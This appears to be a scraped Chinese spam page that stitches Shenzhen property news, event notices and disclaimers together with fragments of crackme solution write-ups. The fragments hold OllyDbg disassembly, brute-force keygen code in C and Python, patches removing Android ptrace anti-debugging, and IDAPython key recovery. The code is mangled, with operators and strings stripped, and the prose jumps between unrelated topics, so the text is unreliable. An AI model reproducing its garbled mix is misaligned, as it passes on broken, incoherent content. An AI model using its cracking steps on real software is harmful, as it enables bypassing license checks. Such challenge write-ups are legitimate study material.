单价最高的房源在25层4号房,单价最低的房源在2层3号房。此外,12月6日,广东省政府已正式通过东莞滨海湾新区建设工作方案,明确了滨海湾新区作为粤港澳协同发展先导区的定位。这题比较简单,OD载入,代码窗口很容易找到:0040112B|.66:81BC242C010000EAcmpwordptrss:[],3EA事例111(WM_COMMAND)|.0F855B010000jne004012960040113B|.884C2420movss:[],cl0040113F|.B93F000000movecx,3F00401144|.33C0xoreax,eax00401146|.8D7C2421leaedi,[+1]0040114A|.F3:ABrepstosdwordptres:[edi]0040114C|.8BB42424010000movesi,ss:[]00401153|.8B1DA0504000movebx,ds:[&]00401159|.66:ABstoswordptres:[edi]0040115B|.8D442420leaeax,[]0040115F|.BF01000000movedi,100401164|.50pusheax/lParam=|.68FF000000push0FF|wParam=|.6A0Dpush0D|Msg=WM_GETTEXT0040116C|.68E9030000push3E9|/ItemID=|.56pushesi||hDialog=[]00401172|.FFD3callebx|\|.8B2DA4504000movebp,ds:[&]|0040117A|.50pusheax|hWnd0040117B|.FFD5callebp\|.33C9xorecx,ecx0040117F|.85C0testeax,eax00401181|.7617jbeshort0040119A00401183|8A540C20/movdl,ss:[ecx+esp+20]00401187|.80FA30|cmpdl,30//注册码全是数字0040118A|.7C0C|jlshort004011980040118C|.80FA39|cmpdl,390040118F|.7F07|jgshort0040119800401191|.41|incecx00401192|.3BC8|cmpecx,eax00401194|.^72ED\jbshort0040118300401196|.EB02jmpshort0040119A00401198|33FFxoredi,edi0040119A|83F806cmpeax,6//长度必须是60040119D|.7556jneshort004011F50040119F|.85FFtestedi,edi004011A1|.7452jzshort004011F5004011A3|.8D4C2420leaecx,[]004011A7|.50pusheax/Arg2004011A8|.51pushecx|Arg1=|.E852FEFFFFcall00401000\,//调用解码函数,对00406030的代码解码004011AE|.83C408addesp,8004011B1|.E80AFFFFFFcall004010C0//调用函数对解码后的内容进行和校验,正确返回1004011B6|.85C0testeax,eax004011B8|.742Cjzshort004011E6004011BA|.6A00push0//校验正确,调用解码后的函数提示成功004011BC|.68E9030000push3E9004011C1|.56pushesi004011C2|.FFD3callebx004011C4|.8B3DA8504000movedi,ds:[&]004011CA|.50pusheax|hWnd004011CB|.FFD7calledi\|.6A00push0004011CF|.68EA030000push3EA004011D4|.56pushesi004011D5|.FFD3callebx004011D7|.50pusheax004011D8|.FFD7calledi004011DA|.55pushebp004011DB|.56pushesi004011DC|.BA30604000movedx,offset00406030入口点004011E1|.FFD2calledx004011E3|.83C408addesp,8004011E6|8D442420leaeax,[]004011EA|.6A06push6/Arg2=6004011EC|.50pusheax|Arg1004011ED|.E80EFEFFFFcall00401000\,//再次调用解码函数恢复原来的数据004011F2|.83C408addesp,8004011F5|5Fpopedi默认情况下|.5Epopesi004011F7|.5Dpopebp004011F8|.33C0xoreax,eax004011FA|.5Bpopebx004011FB|.81C410010000addesp,11000401201|.C21000retn1000401000/$81EC08010000subesp,108//解码函数00401006|.53pushebx00401007|.55pushebp00401008|.56pushesi00401009|.57pushedi0040100A|.33D2xoredx,edx0040100C|.B93F000000movecx,3F00401011|.33C0xoreax,eax00401013|.8D7C2419leaedi,[+1]00401017|.88542418movss:[],dl0040101B|.F3:ABrepstosdwordptres:[edi]0040101D|.66:ABstoswordptres:[edi]0040101F|.AAstosbyteptres:[edi]00401020|.8D7C2418leaedi,[]00401024|.33C0xoreax,eax00401026|88440418/movss:[eax+esp+18],al0040102A|.40|inceax0040102B|.3D00010000|cmpeax,10000401030|.^7CF4\jlshort0040102600401032|.8BAC2420010000movebp,ss:[]00401039|.33C0xoreax,eax0040103B|.C744241000010000movdwordptrss:[],10000401043|8BB4241C010000/movesi,ss:[]0040104A|.8A0F|movcl,ds:[edi]0040104C|.8A1C30|movbl,ds:[esi+eax]0040104F|.02D9|addbl,cl00401051|.02D3|adddl,bl00401053|.40|inceax00401054|.88542414|movss:[],dl00401058|.8B742414|movesi,ss:[]0040105C|.81E6FF000000|andesi,000000FF00401062|.3BC5|cmpeax,ebp00401064|.8A5C3418|movbl,ss:[esi+esp+18]00401068|.8D743418|leaesi,[esi+esp+18]0040106C|.881F|movds:[edi],bl0040106E|.880E|movds:[esi],cl00401070|.7502|jneshort0040107400401072|.33C0|xoreax,eax00401074|8B4C2410|movecx,ss:[]00401078|.47|incedi00401079|.49|dececx0040107A|.894C2410|movss:[],ecx0040107E|.^75C3\jnzshort0040104300401080|.33C0xoreax,eax00401082|.8D8C2417010000leaecx,[+3]00401089|8A540418/movdl,ss:[eax+esp+18]0040108D|.8A19|movbl,ds:[ecx]0040108F|.02D3|adddl,bl00401091|.8A9830604000|movbl,ds:[eax+406030]00401097|.32DA|xorbl,dl00401099|.889830604000|movds:[eax+406030],bl0040109F|.40|inceax004010A0|.49|dececx004010A1|.3D80000000|cmpeax,80004010A6|.^7CE1\jlshort00401089004010A8|.5Fpopedi004010A9|.5Epopesi004010AA|.5Dpopebp004010AB|.5Bpopebx004010AC|.81C408010000addesp,108004010B2\.C3retn004010C0/$56pushesi//求和校验004010C1|.57pushedi004010C2|.33FFxoredi,edi004010C4|.33F6xoresi,esi004010C6|.33C9xorecx,ecx004010C8|33C0/xoreax,eax004010CA|.8A8130604000|moval,ds:[ecx+406030]004010D0|.99|cdq004010D1|.03F8|addedi,eax004010D3|.13F2|adcesi,edx004010D5|.41|incecx004010D6|.81F980000000|cmpecx,80004010DC|.^7CEA\jlshort004010C8004010DE|.81FF79290000cmpedi,2979//求和必须为0x2979004010E4|.750Cjneshort004010F2004010E6|.85F6testesi,esi004010E8|.7508jnzshort004010F2004010EA|.5Fpopedi004010EB|.B801000000moveax,1004010F0|.5Epopesi004010F1|.C3retn004010F2|5Fpopedi004010F3|.33C0xoreax,eax004010F5|.5Epopesi004010F6\.C3retn根据对上面的解码函数和校验函数分析,写出下面的代码暴力破解,从000000到999999扫描:boolkeyGen(){BYTEbuf1[0x80]={0xF4,0x12,0x9D,0x60,0x45,0xF8,0x20,0x6A,0x6F,0x67,0x04,0x71,0xC0,0x9B,0x0C,0x5A,0x1D,0x18,0x6C,0x96,0x69,0x01,0x1C,0xF4,0x7F,0x28,0x5A,0xFB,0x29,0x07,0x40,0x8B,0xD3,0xE1,0xB1,0x12,0xFB,0xCA,0x7C,0x89,0xB9,0x5A,0x30,0x70,0x9D,0x95,0x2B,0x95,0x3C,0x8D,0x2E,0x45,0xEF,0x70,0xC6,0xA3,0xB9,0xB2,0x5A,0x63,0x5F,0x03,0x33,0xB8,0x64,0x4A,0x8F,0xBC,0xF7,0x91,0x69,0x6A,0x56,0x2E,0xD4,0x6E,0x82,0x93,0xE9,0x76,0xDC,0xA3,0x6C,0x5E,0x6B,0x72,0x64,0x37,0xE7,0x15,0x17,0xAC,0x64,0x78,0xD5,0x4A,0x60,0x2D,0xF0,0x54,0xA6,0xF3,0xE8,0xE0,0xE0,0xB9,0x8F,0x85,0x90,0xE4,0xEA,0xD6,0xBB,0xB7,0x15,0x9E,0x2A,0x44,0xE7,0x31,0x63,0xAC,0x80,0x6C,0x34,0x82,0xE9,0xCF};DWORDmagic=0x2979;DWORDsum;BYTEbuf2[0x100];intidx;charsSN[7];intsn;for(sn=0sn1000000sn++){sprintf(sSN,"%06d",sn);for(idx=0idx0x100idx++){buf2[idx]=idx;}BYTEc=0;for(idx=0idx0x100idx++){BYTEc2=buf2[idx];c+=(BYTE)sSN[idx%6]+c2;buf2[idx]=buf2[c];buf2[c]=c2;}sum=0;for(idx=0idx0x80idx++){c=(buf2[idx]+buf2[0xff-idx])^buf1[idx];sum+=c;if(summagic){//大于就退出,不再浪费时间break;}}if(sum==magic){//等于,找到OutputDebugString(sSN);break;}}if(sn=1000000){OutputDebugString("未找到!");returnfalse;}returntrue;}很快能计算出结果:771535五、大合照,留下最美好的回忆1、本场活动只限25组,一个用户名两人起报,最多可报四人(家有两小孩需分开账号报名),一组一份手工材料、电影卡和红包按到场人数算;2、请认真填写报名表资料,请合理安排出行时间,活动前会有客服电话通知;如需取消请提前在“咚咚活动中心”群组或者微信群里告知管理员,请勿临时取消,以免占用名额;3、为了保证活动质量,本次参加活动的小朋友需年满4岁,包括4岁,才可参加活动;4、本次活动提供大巴,座位有限,请勿随意空降,自驾前往的2点到达即可;5、全程活动无需缴纳任何费用。回想自己刚来的时候,虽然有些程序的底子,但是对于“内联钩子”、“反汇编引擎”、“向量机”等“高级词汇”,还是充满敬畏,觉得高不可攀的。那共享学区和分享学区有什么不同呢?如果A、B两所学校组成共享学区,那么这两所学校范围内的学生,一共可以选择2个志愿,志愿顺序由家长选择;如果A、B、C三所学校组成共享学区,那么这三所学校范围内的学生,一共可以选择3个志愿,志愿顺序由家长选择;以此类推。 ,他强调,“我们按照正常的施工报建,施工有要求,需要安全围蔽,我们的围蔽也是在建筑红线以内,没有侵占市政道路,首先必须明确这一点。)驱动收到数据给每一位分别加上112345后计算md5并返回r3程序收到md5之后再次计算md5,并取2~12位,与预设的值888aeda4ab做比较由以上分析编写枚举脚本如下:importmd5importtimeif__name__==__main__:ary0=[1,2,3,4,5,6,7,8,9,:,\b,c,d,e,f,g,h,i,j,k,l,\m,n,o,p,q,r,s,t,u,v,w,\x,y,z,{]ary1=[1,2,3,4,5,6,7,8,9,:,\b,c,d,e,f,g,h,i,j,k,l,\m,n,o,p,q,r,s,t,u,v,w,\x,y,z,{]ary2=[2,3,4,5,6,7,8,9,:,,\c,d,e,f,g,h,i,j,k,l,\m,n,o,p,q,r,s,t,u,v,w,\x,y,z,{,|]ary3=[3,4,5,6,7,8,9,:,,,\d,e,f,g,h,i,j,k,l,\m,n,o,p,q,r,s,t,u,v,w,\x,y,z,{,|,}]ary4=[4,5,6,7,8,9,:,,,=,\e,f,g,h,i,j,k,l,\m,n,o,p,q,r,s,t,u,v,w,\x,y,z,{,|,},~]ary5=[5,6,7,8,9,:,,,=,,\f,g,h,i,j,k,l,\m,n,o,p,q,r,s,t,u,v,w,\x,y,z,{,|,},~,chr(0x7F)](%Y-%m-%d%H:%M:%S,(()))foriinrange(0,36):forjinrange(0,36):forkinrange(0,36):forlinrange(0,36):forminrange(0,36):forninrange(0,36):cmd5_1=()cmd5_2=()str=ary0[i]+ary1[j]+ary2[k]+ary3[l]+ary4[m]+ary5[n]cmd5_(str)cmd5_(cmd5_())check=cmd5_()ifcheck[2:12]==888aeda4ab:printchr(ord(ary5[n])-5)+\chr(ord(ary4[m])-4)+\chr(ord(ary3[l])-3)+\chr(ord(ary2[k])-2)+\chr(ord(ary1[j])-1)+\chr(ord(ary0[i])-1)raw_input()(%Y-%m-%d%H:%M:%S,(()))printi=%d,j=%d%(i,j)脚本第一个循环可以分6段,分别开6个cmd跑,所有结果跑完需要一个多小时,得到正解需要10分钟。值得关注的是,坪山文化中心今年投入使用,同时还将建成5个“坪山城市书房”。    千门万户曈曈日,总把新桃换旧符。?2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。用对文件解包后,发现目录有个不同的文件,如下,其中文件夹下的文件才是我的系统需要的,分析此文件。开发商成交金额TOP10根据深圳房地产信息网的监测,地铁集团1月共销售365679万元,取得了1月份全市开发商成交金额冠军;华侨城地产以224993万元位居亚军;龙光地产以192432万元位居季军。,因此大族为深外国际部捐赠建设了创客空间,希望能帮助青少年叩开科技创新的大门,成长为祖国腾飞的坚实后盾。近日,上海发布了首个国企租赁住房品牌——城方,这是上海租赁市场上的第一支“国家队”。回想自己刚来的时候,虽然有些程序的底子,但是对于“内联钩子”、“反汇编引擎”、“向量机”等“高级词汇”,还是充满敬畏,觉得高不可攀的。 #_DE0000[]={0x83F08EA7,0x3F0FBA29,0xE747E97C,0x93D03647,0xEC72CD2C,0x93C0BA2E,0x90A578A3,0x2A40BA2F,\0xDB3FF233,0x9031FB09,0xD1477258,0x905E3DAC,0xAB817C35,0x6BD43434,0xC49E84E4,0x83B426AF,\0x51C0BA3A,0x280080B8,0x93BE3FF3,0x8E36BA3B,0xE9C0BA3C,0x93C0BA29,0x93C0B2C5,0x1680CD3F};unsignedm_4340B0[]={0x1070EC81,0x55530000,0xBC8B5756,0x00108424,0xBBF63300,0x00000001,0x0725C68B,0x79800000,\0xC8834805,0x07B140F8,0xC68BC82A,0x07E28399,0xF8C1C203,0x38148A03,0xD322FAD2,0x10349488,\0x46000002,0x7C40FE83,0x0002BDCF,0x05BA0000,0xBE000000,0x00000014,0x000008B9,0x8DC03300};intmain(){unsignedxx=0;unsignedyy,zz1,zz2;for(xx=0;xx=0xff;xx++){yy=0x1010101*xx;zz1=(m_DE0000[0]+yy)^m_4340B0[0];zz2=(m_DE0000[1]+yy)^m_4340B0[1];if(zz1==(zz2-1)){printf(%02X,xx);printf(%08X,zz1);}}return0;}中,刚解码的函数对输入注册码第位以后的字符串进行处理,处理结果与“”比较,返回值与的返回值比较。再次下断点大约执行16次之后就会触发反调试弹框。句柄表在EPROCESS结构体中,有一个句柄表成员:我们知道,句柄是为了操作内核对象的“序号”,它的好处在于统一了接口,使得进程(准确来说是线程)能够用统一的方式操作不同的对象资源。这也意味着,今年年初首次贷款买房贷款100万元,要比去年年初累计多支付约20万的利息。 ,Hi_2HexTo1Bin_Xor0x86_sub_402E20Hi_AFX_MODULE_THREAD_STATE_ctor_sub_4066D2Hi_AFX_THREAD_STATE_ctor_sub_405F63Hi_AfxGetStringManagerHi_CStr_Mid_sPos_chSize_sub_404160Hi_CStr_dotr_sub_402C70Hi_CStr_getLen_sub_4029D0Hi_DecExpand_sub_403650Hi_IDDlg_2_hWnd_sub_417026Hi_InP2DlgID_OutP3text_sub_416F7AHi_P1_EQ_EcxLeftNStr_sub_404210Hi_P2CStr_spliteAt5_to_ecx2CStrA1A2_retA2_sub_402D30Hi_RaiseException_sub_405F15Hi_afxstr_ecx_eq_p1_sub_404830Hi_bastr_ecx_eq_P1lpsz_P2len_sub_401EE0Hi_bastr_trim_sub_412460Hi_bstrReserve_sub_416A1DHi_checkKey1_or_expandKey_sub_403230Hi_check_key1_sub_403510Hi_chset_index_sub_4043C0Hi_ecxCStr_eq_P1CStr_sub_4048C0Hi_extract_key1_sub_4032C0Hi_free_sub_4AEF5FHi_getCStrPtr_sub_404280Hi_getEditText_sub_403B60Hi_getNilString_sub_4050C2Hi_getThis_sub_402080Hi_get_AFX_THREAD_STATE_sub_416D28Hi_keyMsgMap_sub_4151F8Hi_malloc_sub_404B6BHi_malloc_sub_404F1FHi_memset_ecx_0_cbSizeP1_sub_402620Hi_realloc_sub_4051987、2018年1月楼盘成交龙虎榜之罗湖区罗湖区成交量TOP10根据深圳房地产信息网的监测,深业东岭成交4501平方米/50套,摘取罗湖区成交龙虎榜桂冠,市场参考价73000元/平方米,向西雍睦豪庭以2072平方米/23套取得亚军排名,市场参考价65000元/平方米,中海天钻位居季军,成交180平方米/1套,市场参考价110000元/平方米。主要包括房地产开发、物业经营与服务、海外电信运营及移动互联网、大数据、金融服务、休闲娱乐等业务版块。 此外,京基·御景峯还毗邻塘朗山、西丽湖等千万平生态风光,无缝接驳长岭陂站,扼守深圳北、西丽双高铁门户,奢享生态、教育、交通、商业、文体等全优级综合配套,构筑上层品质生活。者:(编程解码)(动态调试)骤:代码,定位主要流程。    免责声明:    1、文章部分图片来于”百度图片“、“项目效果图”;    2、因文章中文字和图片之间亦无必然联系,仅供读者参考;    3、我们所转载的所有文章、图片、音频视频文件等资料版权归版权所有人所有,因非原创文章及图片等内容无法和版权者联系,如原作者或编辑认为作品不宜上网供大家浏览,或不应无偿使用,请及时通知我们,以迅速采取适当措施,避免给双方造成不必要的经济损失。龙光·玖钻二期新品,约38-64㎡办公产品持续销售中!龙光·玖钻智美生活馆诚邀品鉴,恭候君临!。博彩评级,也就是说PsExec是通过服务程序获得系统权限的。Hi_2HexTo1Bin_Xor0x86_sub_402E20Hi_AFX_MODULE_THREAD_STATE_ctor_sub_4066D2Hi_AFX_THREAD_STATE_ctor_sub_405F63Hi_AfxGetStringManagerHi_CStr_Mid_sPos_chSize_sub_404160Hi_CStr_dotr_sub_402C70Hi_CStr_getLen_sub_4029D0Hi_DecExpand_sub_403650Hi_IDDlg_2_hWnd_sub_417026Hi_InP2DlgID_OutP3text_sub_416F7AHi_P1_EQ_EcxLeftNStr_sub_404210Hi_P2CStr_spliteAt5_to_ecx2CStrA1A2_retA2_sub_402D30Hi_RaiseException_sub_405F15Hi_afxstr_ecx_eq_p1_sub_404830Hi_bastr_ecx_eq_P1lpsz_P2len_sub_401EE0Hi_bastr_trim_sub_412460Hi_bstrReserve_sub_416A1DHi_checkKey1_or_expandKey_sub_403230Hi_check_key1_sub_403510Hi_chset_index_sub_4043C0Hi_ecxCStr_eq_P1CStr_sub_4048C0Hi_extract_key1_sub_4032C0Hi_free_sub_4AEF5FHi_getCStrPtr_sub_404280Hi_getEditText_sub_403B60Hi_getNilString_sub_4050C2Hi_getThis_sub_402080Hi_get_AFX_THREAD_STATE_sub_416D28Hi_keyMsgMap_sub_4151F8Hi_malloc_sub_404B6BHi_malloc_sub_404F1FHi_memset_ecx_0_cbSizeP1_sub_402620Hi_realloc_sub_405198    免责声明:    1、文章部分图片来于”百度图片“、“项目效果图”;    2、因文章中文字和图片之间亦无必然联系,仅供读者参考;    3、我们所转载的所有文章、图片、音频视频文件等资料版权归版权所有人所有,因非原创文章及图片等内容无法和版权者联系,如原作者或编辑认为作品不宜上网供大家浏览,或不应无偿使用,请及时通知我们,以迅速采取适当措施,避免给双方造成不必要的经济损失。 全市改善型住宅占比略微下降,同时收紧的政策依然制约着深圳楼市,1月全市均价环比下跌16元,为54240元/㎡,同比下跌%。五、大合照,留下最美好的回忆1、本场活动只限25组,一个用户名两人起报,最多可报四人(家有两小孩需分开账号报名),一组一份手工材料、电影卡和红包按到场人数算;2、请认真填写报名表资料,请合理安排出行时间,活动前会有客服电话通知;如需取消请提前在“咚咚活动中心”群组或者微信群里告知管理员,请勿临时取消,以免占用名额;3、为了保证活动质量,本次参加活动的小朋友需年满4岁,包括4岁,才可参加活动;4、本次活动提供大巴,座位有限,请勿随意空降,自驾前往的2点到达即可;5、全程活动无需缴纳任何费用。根据相同两个操作数异或为零的特性,只要其余十个字符成五对或全部相同即可忽略,于是可以快速得到几组key"","^^^^^^^^^^^","~~~~~~~~~~~""AABBCCDDEE","ABABCDCDEE"即只要是"","^","~"三个字符中的任意一个加上其他五对字符,位置任意,就是可行的key,这是其中一种解集。,五、大合照,留下最美好的回忆1、本场活动只限25组,一个用户名两人起报,最多可报四人(家有两小孩需分开账号报名),一组一份手工材料、电影卡和红包按到场人数算;2、请认真填写报名表资料,请合理安排出行时间,活动前会有客服电话通知;如需取消请提前在“咚咚活动中心”群组或者微信群里告知管理员,请勿临时取消,以免占用名额;3、为了保证活动质量,本次参加活动的小朋友需年满4岁,包括4岁,才可参加活动;4、本次活动提供大巴,座位有限,请勿随意空降,自驾前往的2点到达即可;5、全程活动无需缴纳任何费用。unsignedchardata[156]={0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x00,0x00,0x00};在CALL00403910这个函数中验证,长度位0x9c,方式位高低字节减0x30分别与表中的每个元素的高低字节比较:找到数字对应关系,多输入几次试验下就出来了: 罗湖和龙华的GDP都在今年突破了2000亿大关,但是,后者与前者也仅仅相差50亿元,且从增长速度来看,龙华大于罗湖。详情如下:报名时,按照提供的住房选择所属片区内学校,按照个人意愿选择志愿顺序,不能跨片区选择公办学校(实行分享学区的学校除外)。除此之外,125㎡户型的特点与127㎡户型几无二致,可参看上文的点评。注入动态库,穷举。、前16就是检测是否在调试状态的。”,输入程序,结果如下。,中泰集团品质生活推动者创立于1992年,是一家以房地产开发为主导,多产业并行的集团化公司。 ,0x01提取apk中的/lib/armeabi-v7a/,0x02IDA反编译,有ptrace和kill(pid,...)反调试机制,将涉及两者的调用指令全部清零,即改为MOVSR0,R0nil指令0x03更新apk中的/lib/armeabi-v7a/,并重新签名0x04IDAadbforwardtcp:23946tcp:23946虚拟机,调试0x05提取异或EOR和base64加密的内部比对注册码xb_rkey前期混淆清除分析可以发现最终比对位置为.text000038D0,调试断下可知librf_:A46D58D0LDRBR2,[R1,R4]librf_:A46D58D2LDRBR3,[R0,R4]librf_:A46D58D4CMPR3,R2R0:异或EOR和BASE64加密的内部xb_rkeyA46F20204A50796A7570336543794A6A6C6B5636JPyjup3eCyJjlkV6A46F2030446D536D4748513D21210A0A00000000DmSmGHQ=!!......R1:异或EOR和BASE64加密的输入xb_ikeyB4B58DE0654B2F30363871525757677A78523878eK/068qRWWgzxR8xB4B58DF04247536D484874734A4D303D00000000BGSmHHtsJM0=....0x06逆向获取异或操作因子xorvector因为:xb_ikey=(ikey^xorvector)所以:xorvector=(xb_ikey)^(xb_ikey)可以从[0x05]处通过xb_ikey解码得到,也可以在base64编码前得到[]check函数在text:00005AFC开始执行base64编码,调试断下R0:(xb_ikey)A48E646078AFF4EBCA91596833C51F310464A61CA48E64707B6C24CD000000000000000000000000在IDAPpython执行下述代码可以得到注册码rkey=madebyericky94528,#0xA48E6460对应于断点处R0值importbase64b=(JPyjup3eCyJjlkV6DmSmGHQ=!!#b=$\xfc\xa3\xba\x9d\xde\x0bc\x96Ez\x0ed\xa6\x18tikey=12345678901234567890xorvector=[]rkeyL=[]foriinxrange(0,17):(Byte(0xA48E6460+i)^ord(ikey[i]))(chr(xorvector[i]^ord(b[i])))PythonrkeyL[m,a,d,e,b,y,e,r,i,c,k,y,9,4,5,2,8](rkeyL)#rkeymadebyericky94528[0x06,0x02]直接利用[0x05]中断点处信息得到注册码importbase64xb_rkey=JPyjup3eCyJjlkV6DmSmGHQ=#x_rkey=()#x_rkey=$\xfc\xa3\xba\x9d\xde\x0bc\x96Ez\x0ed\xa6\x18txb_ikey=eK/068qRWWgzxR8xBGSmHHtsJM0=x_ikey=(xb_ikey)#x_ikey=x\xaf\xf4\xeb\xca\x91Yh3\xc5\x1f1\x04d\xa6\x1c{l$\xcdikey=12345678901234567890xorvector=[]rkeyL=[]foriinxrange(0,17):(ord(x_ikey[i])^ord(ikey[i]))(chr(xorvector[i]^ord(x_rkey[i])))rkey=(rkeyL)printrkey#madebyericky945280x07MORE此方式攻击关键点是获取输入ikey对应的xb_ikey和xb_rkey=JPyjup3eCyJjlkV6DmSmGHQ=,而不同ikey对应不同xb_ikey,都可以用于获取xorvector因子;上述攻击中ikey长度取了20,实际ikey的长度最小应该为x_rkey的长度17,只要得到足够长的xorvector因子即可。据了解,北京市等地将延续去年“3·17”以来“逢涨必查、逢炒必办”的严格执法原则。于是,打开OllyDBG,直接go到该地址处(0x7582030B):通过往上翻看,查找代码来源,可以得知,这段代码确实来自于UnhandleExceptionFilter函数中。    这个周末,一场极具特色的冰糖葫芦DIY互动体验在龙光·玖钻上演,让众人感受到儿时记忆里的童趣与温暖。 根据相同两个操作数异或为零的特性,只要其余十个字符成五对或全部相同即可忽略,于是可以快速得到几组key"","^^^^^^^^^^^","~~~~~~~~~~~""AABBCCDDEE","ABABCDCDEE"即只要是"","^","~"三个字符中的任意一个加上其他五对字符,位置任意,就是可行的key,这是其中一种解集。其实就是对输入分别与下面这一串异或,返回结果。14:50分:深圳“最强”土拍即将开始,企业代表们已陆续就座。从入户到餐厅、客厅和主阳台,总进深达到了接近10米,客餐厅的开间有米,空间相当宽敞和连贯。者:(编程解码)(动态调试)骤:代码,定位主要流程。”中央农办主任韩俊说,“文件坚持问题导向,突出统筹推进农村经济建设、政治建设、文化建设、社会建设、生态文明建设和党的建设,加快推进乡村治理体系和治理能力现代化,加快推进农业农村现代化,走中国特色社会主义乡村振兴道路,是谋划新时代乡村振兴的顶层设计。 4房成交311套,占总量的11%;4房以上成交12套,占总量的1%,复式成交4套。甜  人生百味,苦到尽头便是甜。return16;}//CRC32编码intgetTheKey2(unsignedchar*buf,intbufsize){DWORDret=-1;DWORD*bb=(DWORD*)aa;for(inti=0;ibufsize;i++){intxt=(ret0xff)^buf[i];ret=bb[1+xt]^(ret}return~ret;}unsignedcharbuf[4]={0};intget2(DWORDa){DWORDconfirm1=0x9e;//0x9eb3acb8==~0x614C5347DWORDconfirm2=0xb3;DWORDconfirm3=0xac;DWORDconfirm4=0xb8;DWORDtmp,x[4]={0};inti,y[4]={0};DWORD*bb=(DWORD*)aa;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm1){x[0]=bb[i];y[0]=i;break;}}tmp=x[0]tmp=tmp0xff;confirm2=confirm2^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm2){x[1]=bb[i];y[1]=i;break;}}tmp=x[0]tmp=tmp0xff;confirm3=confirm3^tmp;tmp=x[1]tmp=tmp0xff;confirm3=confirm3^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm3){x[2]=bb[i];y[2]=i;break;}}tmp=x[0];tmp=tmp0xff;confirm4=confirm4^tmp;tmp=x[1]tmp=tmp0xff;confirm4=confirm4^tmp;tmp=x[2]tmp=tmp0xff;confirm4=confirm4^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm4){x[3]=bb[i];y[3]=i;break;}}DWORDret=a;//0x32f38783;for(i=3;ii--){buf[3-i]=((ret0xff)^y[i]-1);ret=x[i]^(ret}return0;}//FNV-1aHash运算DWORDgetTheKey3(unsignedchar*buf,intbufsize){DWORDret=0x811C9DC5;for(inti=0;ibufsize;i++){DWORDxx=(DWORD)buf[i];ret=0x1000193*(ret^xx);}returnret;}intget3(DWORDa){unsignedchardd[4]={0x5C,0xA4,0x88,0xC9};DWORDret=a;inti,j;for(i=0;;i++)//614C5347-A19947FD-CE19CA2F-92F5E675-F4659CD7-0D33122D-F32BF53F-66263925-7BDE6D67-127F995D-CDAA8F4F-8379C0D5{for(j=0;jj++){DWORDxx=(DWORD)dd[j];ret=0x1000193*(ret^xx);//359C449B(1000193^-1)}if(ret==0x614C5347||ret==a)//0x614C5347{break;}}if(ret==0x614C5347){returni;}else{return-1;}}for(unsignedchari=0;i0xff;i++){bbuf[xs-1]=i;DWORDyy1=getTheKey2(bbuf,xs);get2(yy1);bbuf[xs]=buf[0];bbuf[xs+1]=buf[1];bbuf[xs+2]=buf[2];bbuf[xs+3]=buf[3];//DWORDyy1=sub_1244(bbuf,xs);DWORDyy2=getTheKey3(bbuf,xs+4);intudd=get3(yy2);if(udd!=-1){printf(%02X%08X,i,udd);}}bbuf[xs-1]=0x20;DWORDyy1=getTheKey2(bbuf,xs);get2(~yy1);bbuf[xs]=buf[0];bbuf[xs+1]=buf[1];bbuf[xs+2]=buf[2];bbuf[xs+3]=buf[3];DWORDyy2=getTheKey3(bbuf,xs+4);intudd=get3(yy2);unsignedchar*memm=(unsignedchar*)malloc(udd*4+8+xs);memcpy(memm,bbuf,xs+4);for(inti=0;i=udd;i++){memm[xs+4+i*4+0]=0x5C;memm[xs+4+i*4+1]=0xA4;memm[xs+4+i*4+2]=0x88;memm[xs+4+i*4+3]=0xC9;}fp=fopen(zapus_,wb);fwrite(memm,udd*4+8+xs,1,fp);fclose(fp);上传的附件:,)层层传来的数据是否大于(其实此时就是),大于则。解题过程1.查看程序1.题目提示要在xp下运行,看了看资源,发现有驱动,将文件提取出来,用PEID的算法插件KANAL扫描驱动,发现有MD5算法:2.用OD加载程序CrakeME,下断点CreateFileA,一次断在释放驱动的时候,另一次断在加载驱动的时候:00401DE8|.53PUSHEBX/hTemplateFile=NULL00401DE9|.6880000000PUSH0x80|Attributes=NORMAL00401DEE|.6A03PUSH0x3|Mode=OPEN_EXISTING00401DF0|.53PUSHEBX|pSecurity=NULL00401DF1|.53PUSHEBX|ShareMode=000401DF2|.68000000C0PUSH0xC0000000|Access=GENERIC_READ|GENERIC_WRITE00401DF7|.|FileName=\\.\vmxdrv00401DFC|.FF1588324200CALLNEARDWORDPTRDS:[\CreateFileA在CreateFileA的下一条指令下断点,运行程序,程序直接出错退出。还是比较给力,memset这些都失败出来了,的就不行。句柄表在EPROCESS结构体中,有一个句柄表成员:我们知道,句柄是为了操作内核对象的“序号”,它的好处在于统一了接口,使得进程(准确来说是线程)能够用统一的方式操作不同的对象资源。博彩评级,    4月26日,深圳布吉华润万象汇将迎来盛大开业。扫以下二维码即可加入。 